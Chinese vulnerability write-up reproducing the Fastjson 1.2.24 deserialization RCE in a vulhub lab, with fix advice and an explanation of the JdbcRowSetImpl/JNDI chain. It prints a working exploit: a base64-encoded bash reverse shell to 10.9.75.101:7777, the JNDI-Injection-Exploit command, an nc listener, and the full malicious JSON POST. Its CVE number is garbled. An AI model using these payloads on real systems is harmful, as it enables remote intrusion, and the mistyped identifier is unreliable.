【漏洞库】Fastjson_1.2.24_rce

news2025/7/19 7:45:54

文章目录

    • 漏洞描述
    • 漏洞编号
    • 漏洞评级
    • 影响版本
    • 漏洞复现
      • - 利用工具
      • - 漏洞环境
      • - 漏洞扫描
      • - 漏洞验证
      • - 深度利用
      • - GetShell
      • - EXP 编写
    • 漏洞挖掘
      • - 指纹信息
    • 修复建议
      • - 漏洞修复
    • 漏洞原理

漏洞描述

Fastjson 存在反序列化远程代码执行漏洞,当应用或系统使用 Fastjson 对由用户可控的 JSON 字符串数据进行解析时,将可能导致远程代码执行的危害。

此漏洞为 17 年 Fastjson 1.2.24 版本反序列化漏洞的延伸利用,且无需依赖 autotype 的开启,这意味着默认配置下的 Fastjson 即会受到漏洞影响。

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

漏洞编号

CVE-2017-183494

漏洞评级

严重

影响版本

Fastjson 1.2.24 及之前的版本

漏洞复现

- 利用工具

链接:https://pan.baidu.com/s/1KEl1Z9Z3hWXKtENLxSE1wg?pwd=yuan 

- 漏洞环境

vulhub的靶场环境:vulhub/fastjson/1.2.24-rce

运行测试环境:

docker compose up -d

环境运行后,访问http://your-ip:8090即可看到JSON格式的输出:

image-20230908172805694

- 漏洞扫描

手工主动测试,利用非法json格式来尝试获取回显:

如图我们可以看到,服务端返回报错内容中包含fastjson。

- 漏洞验证

借助DNSLog,让目标服务器访问,查看回显

image-20230908172442160

发现有回显,说明存在漏洞

image-20230908172408509

- 深度利用

使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 工具开启JNDI服务:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}" -A "10.9.75.101"

以下命令的解释:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}

这是一个在bash shell中执行的命令,它涉及到了bash、echo、base64和管道操作符。首先,{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=}部分将字符串YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=作为参数传给echo命令,然后输出。接着,输出被传递给base64 -d进行解码,最后解码的结果再传递给bash -i进行执行。其中,{bash,-i}部分表示使用交互模式运行bash

其中的base64编码是通过这个网站进行编码的:https://ares-x.com/tools/runtime-exec/

编码过程如图:

image-20230908173611333

执行开启服务的命令之后,如图所示,表示已经开启了不同java版本的rmi服务与ldap服务:

image-20230908173808090

- GetShell

kali开启监听:

nc -lvvp 7777

发送请求包:

POST / HTTP/1.1
Host: 10.9.75.101:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 161

{

    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://10.9.75.101:1389/zbcmsg",
        "autoCommit":true
    }
}

image-20230908182322184

发送之后,可以看到kali已经获得反弹Shell

image-20230908182300176

- EXP 编写

这里直接使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar-C 参数指定EXP(这里的EXP使用反弹shell),不过这个EXP需要通过base64编码:

bash -i >& /dev/tcp/10.9.75.101/7777 0>&1

通过网站在线编码:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}

其中的base64编码是通过这个网站进行编码的:https://ares-x.com/tools/runtime-exec/

编码过程如图:

image-20230908173611333

将以上编码结果交给 -C参数,再使用 -A参数指定JNDI服务所处的服务器IP地址,执行jar包之后就会生成EXP并且将EXP放置JNDI服务中。

漏洞挖掘

  1. 找到发送JSON序列化数据的接口

  2. 判断是否使用fastjson,利用非法json格式来尝试获取回显:

    如图我们可以看到,服务端返回报错内容中包含fastjson。

  3. 通过BP插件检测该fastjson版本是否存在漏洞

    https://github.com/zilong3033/fastjsonScan
    

    下载插件导入BP

    抓包发送到插件进行检测:

    image-20230908171801509

    如下检测结果:存在漏洞

    image-20230908171700319

- 指纹信息

通过异常回显判断是否使用fastjson

修复建议

- 漏洞修复

  1. 升级Fastjson到最新版

  2. 使用安全产品过滤非法内容

    比如请求包中如果出现了JdbcRowSetImpl,就可以把他拦住。
    
  3. 更换其它序列化工具 Jackson/Gson

漏洞原理

不同版本的fastjson其实就是对一些输入的数据进行了校验等操作,绕过校验之后底层的利用链还是一样的。以下是fastjson反序列化漏洞的本质:

  1. 由于将JSON数据进行反序列化的时候会自动调用方法中的 get/set/is方法。

  2. 所以如果有方法在自动调用get/set/is方法的时候能访问远程资源,那么就可以借助这个方法完成利用。

  3. 很巧的是,JDK8中恰好有个JdbcRowSetlmpl类,里面就有 set方法 setAutoCommit,这个方法里面调用了connect方法,connect方法里面又具有JNDI的lookup方法,lookup方法里面传的恰好又是get方法,所以我们可以编写一个payload,利用@type指定要序列化的类,然后指定一些要反序列化的属性,即可完成利用链,接下来就看利用链中的源码:

  4. 利用JdbcRowSetlmpl类中的方法setAutoCommit()

    image-20230716150420480

  5. 进入connect方法:

    image-20230716150603925

    我们可以看到connect方法中具有JNDI的lookup方法,lookup是JNDI用于查找资源的方法,里面传的参数是dataSourceName,所以我们可以在payload的json字符串中传入这个参数dataSourceName,并且指定他的 值为我们的RMI服务或者其他服务,lookup就会到我们指定的服务中下载恶意代码并执行。

    为什么下载我们的EXP后会自动执行呢?

    因为我们的exp具有静态代码块或者构造方法,当程序创建实例的时候,就会自动触发构造方法或者静态代码块的内容。

    如下图中的NamingManager类,其中利用反射创建实例,然后就直接触发恶意代码中的静态代码块内容,从而让我们利用。

    image-20230715133800679

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/990201.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

全志T113-S3入门资料汇总(避坑指南)一

也是闲着无事买了个芒果派的T113的小板子,因为自己以前搞过Linux,工作也跟Linux相关,本以为可以很快搞好开发环境,结果还是折腾了两个周末,所以就把资料整理下,关键的地方列出来,希望大家少走弯…

实现稳定可靠的消息通信:Paho MQTT Android

实现稳定可靠的消息通信:Paho MQTT Android 该项目基于java版本paho mqtt android实现,使用kotlin语言重新实现,它是一个用Kotlin编写的MQTT客户端库,旨在提供可靠的开源实现,适用于面向物联网(IoT&#x…

为什么vector容器的begin()既可以被iterator 也可以被const_iterator指向?

答:vector容器中的begin()是函数接口,它作为函数,被重载了。 typedef T* iterator; typedef const T* const_iterator; iterator begin();//括号中有隐含形参*this; const_iterator begin() const;//形参为…

Vue3中快速简单使用CKEditor 5富文本编辑器

Vue3简单使用CKEditor 5 前言准备定制基础配置富文本配置目录当前文章demo目录结构 快速使用demo 前言 CKEditor 5就是内嵌在网页中的一个富文本编辑器工具 CKEditor 5开发文档(英文):https://ckeditor.com/docs/ckeditor5/latest/index.htm…

对话 Gear|波卡生态下一代 WASM 智能合约平台

在 Polkadot 生态中,Gear 正在创建一个托管智能合约的网络。每个人都可以在 Polkadot 和 Kusama 上部署 dApp,不仅可以充分利用其生态系统的所有优势,而且成本更低。因其无需开发者从零开始构建和运营完整的区块链网络,所以 Gear …

TSINGSEE青犀/视频分析/边缘计算/AI算法·人员/区域入侵功能——多场景高效运用

TSINGSEE青犀视频人员/区域入侵功能可对重要区域进行实时监测,对监控区域进行7*24全天候管控,当监测到有人员靠近、闯入时,AI算法后台就会立即发出告警及时通知管理人员,变被动“监督”为主动“监控”,真正做到事前预警…

团队高效协作有多重要?介绍一些优秀的团队协作工具

不论企业大小,团队协作对企业来说是至关重要的,它可以对业务运营和组织效率产生积极影响。 当团队成员能够协同工作、分享信息和资源时,工作流程更加顺畅,决策更加快速且准确。分工合作和共享知识可以减少重复劳动,提…

【猿灰灰赠书活动 - 05期】- 【速学Linux:系统应用从入门到精通】

👨‍💻本文专栏:赠书活动专栏(为大家争取的福利,免费送书) 👨‍💻本文简述:博文为大家争取福利,与机械工业出版社合作进行送书活动 👨‍&#x1f…

【腾讯云生态大会】腾讯云向量数据库

【腾讯云生态大会】腾讯云向量数据库 一、 腾讯云向量数据库介绍二、向量数据库的产品规格三、向量数据库关键概念四、向量数据库的使用之新建数据库实例五、向量数据库的初体验六、向量数据库的使用之检索性能压测七、总结 个人主页: ζ小菜鸡大家好我是ζ小菜鸡,让…

MNIST手写数字辨识-cnn网路 (机器学习中的hello world,加油)

用PyTorch实现MNIST手写数字识别(非常详细) - 知乎 (zhihu.com) 参考来源(这篇文章非常适合入门来看,每个细节都讲解得很到位) 一、模块函数用法-查漏补缺: 1.关于torch.nn.functional.max_pool2d()的用法: 上述示例…

56、springboot ------ RESTful服务及RESTful接口设计

★ RESTful服务 RESTful服务是“前后端分离”架构中的主要功能&#xff1a; 后端应用对外暴露RESTful服务&#xff0c;前端应用则通过RESTful服务与后端应用交互。后端应用 RESTful接口 <------------------> 前端★ 基于JSON的RESTful服务 使用RestController注解…

Linux 系统时间同步 ​使用 NTP 服务时间同步​

目录 一、使用 NTP 服务时间同步 二、启动并设置开机自启 三、配置文件 在 /etc/ntp.conf 四、局域网指定一台服务器作为 时间服务器 一、使用 NTP 服务时间同步 安装 ntp yum -y install ntp 二、启动并设置开机自启 systemctl start ntpd systemctl enable ntpd #开…

vue+antd——实现table表格的打印——分页换行,每页都有表头——基础积累

这里写目录标题 场景效果图功能实现1&#xff1a;html代码功能实现2&#xff1a;css样式功能实现3&#xff1a;js代码补充内容page-break-inside 属性page-break-after属性page-break-before 属性 场景 最近在写后台管理系统时&#xff0c;遇到一个需求&#xff0c;就是要实现…

【独家工具】JMeterPerfReporter3.0正式版本,让你的JMeter更好用

Lemon-JMeterPerfReporter工具&#xff0c;是我们性能测试课程教研组根据JMeter性能测试报告的不足&#xff0c;定制开发的一个性能报告生成工具。有需要的同学&#xff0c;可以通过小编官方gitee账户下载&#xff0c;或咨询我免费获取哦&#xff01; 做过性能测试的人员都知道…

单目标应用:基于蜘蛛蜂优化算法(Spider wasp optimizer,SWO)的微电网优化调度MATLAB

一、微网系统运行优化模型 微电网优化模型介绍&#xff1a; 微电网多目标优化调度模型简介_IT猿手的博客-CSDN博客 二、蜘蛛蜂优化算法 蜘蛛蜂优化算法&#xff08;Spider wasp optimizer&#xff0c;SWO&#xff09;由Mohamed Abdel-Basset等人于2023年提出&#xff0c;该…

企业帮助中心如何在线搭建,还能多场景使用呢?

搭建一个企业帮助中心的在线平台可以帮助企业提供高效的客户支持和解决方案。同时&#xff0c;这个平台还可以用于其他场景&#xff0c;例如内部员工培训、知识共享等。下面我将详细介绍如何在线搭建一个企业帮助中心&#xff0c;并且使其能够多场景使用。 选择合适的在线平台…

jeecg vue3版本集成达梦数据库

jeecg他的文档中有一个集成达梦数据库的步骤&#xff0c;链接如下 连接达梦数据库 - JeecgBoot 文档中心&#xff0c;但是我按照步骤去操作的时候并没有适配成功&#xff0c;大部分是他的步骤写的不够清楚&#xff0c;没有说明改哪里的文件&#xff0c;下面是我摸索的适配步骤。…

[移动通讯]【Carrier Aggregation-4】【LTE-1】

前言&#xff1a; 参考&#xff1a; 《Carrier Aggregation Explained In 101 Seconds》 Qualcomm 《Carrier aggregation (CA) in LTE-Advanced by TELCOMA Global》TELCOMA Global 《Carrier Aggregation _CA_Part1》 《Carrier Aggregation _CA_Part2》 《Carrier Aggregati…

【Opencv入门到项目实战】(十一):harris角点检测|SIFT|特征匹配

所有订阅专栏的同学可以私信博主获取源码文件 文章目录 1.harris角点检测2.尺度不变特征变换&#xff08;SIFT&#xff09;2.1图像尺度空间2.2 关键点定位2.3 消除边界响应2.4 代码示例 1.harris角点检测 这一节我们来讨论一下Harris角点检测&#xff0c;由Chris Harris和Mike…

论文分享丨西工大音频语音与语言处理研究组四篇论文被IEEE Trans. ASLP和SPL录用

近日&#xff0c;实验室三篇论文被语音研究顶级期刊IEEE/ACM Transactions on Audio, Speech and Language Processing (TASLP)录用&#xff0c;一篇论文被重要期刊IEEE Signal Processing Letters (IEEE SPL)录用&#xff0c;论文方向涉及说话人识别中的对抗攻击、基于扩散模型…